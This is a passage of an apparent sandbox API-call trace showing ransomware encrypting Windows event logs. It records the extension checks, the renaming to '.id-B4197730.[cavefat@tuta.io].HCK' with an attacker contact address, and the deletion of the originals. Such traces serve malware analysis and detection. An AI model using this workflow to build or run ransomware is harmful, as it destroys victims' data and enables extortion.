"c:\\logs\\microsoft-windows-wcmsvc%4operational.evtx")) returned 1 [0157.508] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50 [0157.508] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50 [0157.508] lstrlenW (lpString=".doc") returned 4 [0157.508] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0157.508] lstrlenW (lpString=".docx") returned 5 [0157.508] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0157.508] lstrlenW (lpString=".pdf") returned 4 [0157.508] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0157.508] lstrlenW (lpString=".xls") returned 4 [0157.508] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0157.508] lstrlenW (lpString=".xlsx") returned 5 [0157.508] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0157.508] lstrlenW (lpString=".ppt") returned 4 [0157.508] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0157.508] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50 [0157.508] lstrlenW (lpString=".zip") returned 4 [0157.508] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0157.508] lstrlenW (lpString=".rar") returned 4 [0157.508] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0157.508] lstrlenW (lpString=".bz2") returned 4 [0157.508] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0157.508] lstrlenW (lpString=".7z") returned 3 [0157.508] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0157.508] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50 [0157.509] lstrlenW (lpString=".dbf") returned 4 [0157.509] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0157.509] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50 [0157.509] lstrlenW (lpString=".1cd") returned 4 [0157.509] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0157.509] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50 [0157.509] lstrlenW (lpString=".jpg") returned 4 [0157.509] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0157.509] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50 [0157.509] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50 [0157.509] lstrlenW (lpString=".doc") returned 4 [0157.509] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0157.509] lstrlenW (lpString=".docx") returned 5 [0157.509] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0157.509] lstrlenW (lpString=".pdf") returned 4 [0157.509] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0157.509] lstrlenW (lpString=".xls") returned 4 [0157.509] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0157.509] lstrlenW (lpString=".xlsx") returned 5 [0157.509] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0157.509] lstrlenW (lpString=".ppt") returned 4 [0157.509] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0157.509] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50 [0157.509] lstrlenW (lpString=".zip") returned 4 [0157.509] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0157.509] lstrlenW (lpString=".rar") returned 4 [0157.509] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0157.509] lstrlenW (lpString=".bz2") returned 4 [0157.509] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0157.509] lstrlenW (lpString=".7z") returned 3 [0157.509] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0157.509] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50 [0157.509] lstrlenW (lpString=".dbf") returned 4 [0157.509] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0157.509] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50 [0157.509] lstrlenW (lpString=".1cd") returned 4 [0157.509] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0157.509] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50 [0157.509] lstrlenW (lpString=".jpg") returned 4 [0157.509] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0157.509] lstrcmpiW (lpString1=".evtx", lpString2=".HCK") returned -1 [0157.509] lstrlenW (lpString="Microsoft-Windows-Windows Defender%4Operational.evtx") returned 52 [0157.509] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0157.510] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=69632) returned 1 [0157.510] CloseHandle (hObject=0x2fc) returned 1 [0157.510] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4operational.evtx")) returned 0x20 [0157.510] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\logs\\microsoft-windows-windows defender%4operational.evtx.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0157.510] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0157.510] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.510] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.510] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\logs\\microsoft-windows-windows defender%4operational.evtx.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0158.190] GetLastError () returned 0x0 [0158.190] ReadFile (in: hFile=0x2fc, lpBuffer=0x37f6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesRead=0x2c0fecc*=0x11000, lpOverlapped=0x0) returned 1 [0158.231] WriteFile (in: hFile=0x30c, lpBuffer=0x37f6020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesWritten=0x2c0fc94*=0x11010, lpOverlapped=0x0) returned 1 [0158.232] ReadFile (in: hFile=0x2fc, lpBuffer=0x37f6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0158.233] WriteFile (in: hFile=0x30c, lpBuffer=0x37f6020*, nNumberOfBytesToWrite=0x13c, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesWritten=0x2c0fc94*=0x13c, lpOverlapped=0x0) returned 1 [0158.233] SetEndOfFile (hFile=0x30c) returned 1 [0158.233] CloseHandle (hObject=0x30c) returned 1 [0158.235] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.235] SetEndOfFile (hFile=0x2fc) returned 1 [0158.236] CloseHandle (hObject=0x2fc) returned 1 [0158.236] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0158.236] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4operational.evtx")) returned 1 [0158.237] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60 [0158.237] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60 [0158.237] lstrlenW (lpString=".doc") returned 4 [0158.237] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0158.237] lstrlenW (lpString=".docx") returned 5 [0158.237] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0158.237] lstrlenW (lpString=".pdf") returned 4 [0158.237] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0158.237] lstrlenW (lpString=".xls") returned 4 [0158.237] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0158.237] lstrlenW (lpString=".xlsx") returned 5 [0158.237] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0158.237] lstrlenW (lpString=".ppt") returned 4 [0158.237] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0158.237] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60 [0158.237] lstrlenW (lpString=".zip") returned 4 [0158.237] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0158.237] lstrlenW (lpString=".rar") returned 4 [0158.237] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0158.237] lstrlenW (lpString=".bz2") returned 4 [0158.237] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0158.237] lstrlenW (lpString=".7z") returned 3 [0158.237] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0158.237] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60 [0158.237] lstrlenW (lpString=".dbf") returned 4 [0158.237] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0158.237] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60 [0158.237] lstrlenW (lpString=".1cd") returned 4 [0158.237] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0158.237] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60 [0158.237] lstrlenW (lpString=".jpg") returned 4 [0158.237] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0158.237] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60 [0158.237] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60 [0158.237] lstrlenW (lpString=".doc") returned 4 [0158.237] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0158.237] lstrlenW (lpString=".docx") returned 5 [0158.237] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0158.237] lstrlenW (lpString=".pdf") returned 4 [0158.237] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0158.237] lstrlenW (lpString=".xls") returned 4 [0158.237] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0158.237] lstrlenW (lpString=".xlsx") returned 5 [0158.237] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0158.237] lstrlenW (lpString=".ppt") returned 4 [0158.237] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0158.237] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60 [0158.237] lstrlenW (lpString=".zip") returned 4 [0158.237] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0158.238] lstrlenW (lpString=".rar") returned 4 [0158.238] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0158.238] lstrlenW (lpString=".bz2") returned 4 [0158.238] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0158.238] lstrlenW (lpString=".7z") returned 3 [0158.238] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0158.238] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60 [0158.238] lstrlenW (lpString=".dbf") returned 4 [0158.238] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0158.238] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60 [0158.238] lstrlenW (lpString=".1cd") returned 4 [0158.238] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0158.238] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60 [0158.238] lstrlenW (lpString=".jpg") returned 4 [0158.238] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0158.238] lstrcmpiW (lpString1=".evtx", lpString2=".HCK") returned -1 [0158.238] lstrlenW (lpString="Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 57 [0158.238] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx" (normalized: "c:\\logs\\microsoft-windows-wininet-config%4proxyconfigchanged.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0158.238] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=69632) returned 1 [0158.238] CloseHandle (hObject=0x2fc) returned 1 [0158.238] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx" (normalized: "c:\\logs\\microsoft-windows-wininet-config%4proxyconfigchanged.evtx")) returned 0x20 [0158.238] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\logs\\microsoft-windows-wininet-config%4proxyconfigchanged.evtx.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0158.239] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx" (normalized: "c:\\logs\\microsoft-windows-wininet-config%4proxyconfigchanged.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0158.239] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.239] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.239] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\logs\\microsoft-windows-wininet-config%4proxyconfigchanged.evtx.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0158.239] GetLastError () returned 0x0 [0158.239] ReadFile (in: hFile=0x2fc, lpBuffer=0x37f6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesRead=0x2c0fecc*=0x11000, lpOverlapped=0x0) returned 1 [0158.241] WriteFile (in: hFile=0x30c, lpBuffer=0x37f6020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesWritten=0x2c0fc94*=0x11010, lpOverlapped=0x0) returned 1 [0158.243] ReadFile (in: hFile=0x2fc, lpBuffer=0x37f6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0158.243] WriteFile (in: hFile=0x30c, lpBuffer=0x37f6020*, nNumberOfBytesToWrite=0x146, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesWritten=0x2c0fc94*=0x146, lpOverlapped=0x0) returned 1 [0158.243] SetEndOfFile (hFile=0x30c) returned 1 [0158.243] CloseHandle (hObject=0x30c) returned 1 [0158.246] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.246] SetEndOfFile (hFile=0x2fc) returned 1 [0158.247] CloseHandle (hObject=0x2fc) returned 1 [0158.247] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0158.250] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx" (normalized: "c:\\logs\\microsoft-windows-wininet-config%4proxyconfigchanged.evtx")) returned 1 [0158.250] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 65 [0158.250] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 65 [0158.250] lstrlenW (lpString=".doc") returned 4 [0158.250] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0158.250] lstrlenW (lpString=".docx") returned 5 [0158.250] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0158.250] lstrlenW (lpString=".pdf") returned 4 [0158.250] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0158.250] lstrlenW (lpString=".xls") returned 4 [0158.250] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0158.250] lstrlenW (lpString=".xlsx") returned 5 [0158.250] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0158.250] lstrlenW (lpString=".ppt") returned 4 [0158.250] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0158.250] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 65 [0158.250] lstrlenW (lpString=".zip") returned 4 [0158.250] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0158.250] lstrlenW (lpString=".rar") returned 4 [0158.250] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0158.250] lstrlenW (lpString=".bz2") returned 4 [0158.251] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0158.251] lstrlenW (lpString=".7z") returned 3 [0158.251] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0158.251] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 65 [0158.251] lstrlenW (lpString=".dbf") returned 4 [0158.251] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0158.251] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 65 [0158.251] lstrlenW (lpString=".1cd") returned 4 [0158.251] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0158.251] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 65 [0158.251] lstrlenW (lpString=".jpg") returned 4 [0158.251] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0158.251] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 65 [0158.251] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 65 [0158.251] lstrlenW (lpString=".doc") returned 4 [0158.251] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0158.251] lstrlenW (lpString=".docx") returned 5 [0158.251] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0158.251] lstrlenW (lpString=".pdf") returned 4 [0158.251] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0158.251] lstrlenW (lpString=".xls") returned 4 [0158.251] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0158.251] lstrlenW (lpString=".xlsx") returned 5 [0158.251] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0158.251] lstrlenW (lpString=".ppt") returned 4 [0158.251] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0158.251] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 65 [0158.251] lstrlenW (lpString=".zip") returned 4 [0158.251] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0158.251] lstrlenW (lpString=".rar") returned 4 [0158.251] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0158.251] lstrlenW (lpString=".bz2") returned 4 [0158.251] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0158.251] lstrlenW (lpString=".7z") returned 3 [0158.251] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0158.251] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 65 [0158.251] lstrlenW (lpString=".dbf") returned 4 [0158.251] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0158.251] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 65 [0158.251] lstrlenW (lpString=".1cd") returned 4 [0158.251] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0158.251] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 65 [0158.251] lstrlenW (lpString=".jpg") returned 4 [0158.251] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0158.252] lstrcmpiW (lpString1=".evtx", lpString2=".HCK") returned -1 [0158.252] lstrlenW (lpString="Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 48 [0158.252] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wmi-activity%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0158.252] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=1052672) returned 1 [0158.252] CloseHandle (hObject=0x2fc) returned 1 [0158.252] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wmi-activity%4operational.evtx")) returned 0x20 [0158.252] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\logs\\microsoft-windows-wmi-activity%4operational.evtx.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0158.252] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wmi-activity%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0158.252] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.253] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.253] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\logs\\microsoft-windows-wmi-activity%4operational.evtx.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0158.253] GetLastError () returned 0x0 [0158.253] ReadFile (in: hFile=0x2fc, lpBuffer=0x37f6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesRead=0x2c0fecc*=0xffff0, lpOverlapped=0x0) returned 1 [0158.716] WriteFile (in: hFile=0x30c, lpBuffer=0x37f6020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesWritten=0x2c0fc94*=0xffff0, lpOverlapped=0x0) returned 1 [0158.727] ReadFile (in: hFile=0x2fc, lpBuffer=0x37f6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesRead=0x2c0fecc*=0x1010, lpOverlapped=0x0) returned 1 [0158.733] WriteFile (in: hFile=0x30c, lpBuffer=0x37f6020*, nNumberOfBytesToWrite=0x1020, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesWritten=0x2c0fc94*=0x1020, lpOverlapped=0x0) returned 1 [0158.736] ReadFile (in: hFile=0x2fc, lpBuffer=0x37f6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0158.736] WriteFile (in: hFile=0x30c, lpBuffer=0x37f6020*, nNumberOfBytesToWrite=0x134, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesWritten=0x2c0fc94*=0x134, lpOverlapped=0x0) returned 1 [0158.736] SetEndOfFile (hFile=0x30c) returned 1 [0158.736] CloseHandle (hObject=0x30c) returned 1 [0158.752] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.752] SetEndOfFile (hFile=0x2fc) returned 1 [0158.753] CloseHandle (hObject=0x2fc) returned 1 [0158.753] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0159.147] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wmi-activity%4operational.evtx")) returned 1 [0159.162] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 56 [0159.162] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 56 [0159.162] lstrlenW (lpString=".doc") returned 4 [0159.162] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0159.170] lstrlenW (lpString=".docx") returned 5 [0159.170] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0159.170] lstrlenW (lpString=".pdf") returned 4 [0159.170] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0159.170] lstrlenW (lpString=".xls") returned 4 [0159.170] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0159.170] lstrlenW (lpString=".xlsx") returned 5 [0159.170] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0159.170] lstrlenW (lpString=".ppt") returned 4 [0159.170] 